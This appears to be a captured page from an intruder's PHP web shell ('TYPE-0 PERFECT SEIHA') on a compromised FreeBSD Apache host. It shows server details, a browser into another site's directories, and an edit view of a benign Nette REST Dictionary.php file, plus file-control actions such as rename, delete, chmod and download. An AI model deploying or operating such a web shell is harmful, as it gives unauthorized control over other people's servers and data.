TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
RestTrush
Dictionary
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/RestTrush/Dictionary/Dictionary.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Dictionary; use RestServer\IPresenter; use RestServer\IParametrs; use RestServer\Response; use Nette\Database\Context; /** * Get full application dictionary. * @author Jan Pospisil */ class Dictionary extends \Nette\Object implements IPresenter { private $connection; public function __construct(Context $context){ $this->connection = $context; } /** * * @param IParametrs $parameters * @param Response $response */ public function run(IParametrs $parameters, Response $response) { $return = array(); foreach($this->connection->table('dictionary') as $word){ $return[] = array( 'id' => $word->id, 'type' => 'dictionary', 'cs' => $word->cs, 'en' => $word->en, ); } $response->data = $return; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Add.php
1790
0644
2016-04-16 10:22:26
Unknown/Unknown
Dictionary.php
841
0644
2016-04-16 10:22:26
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin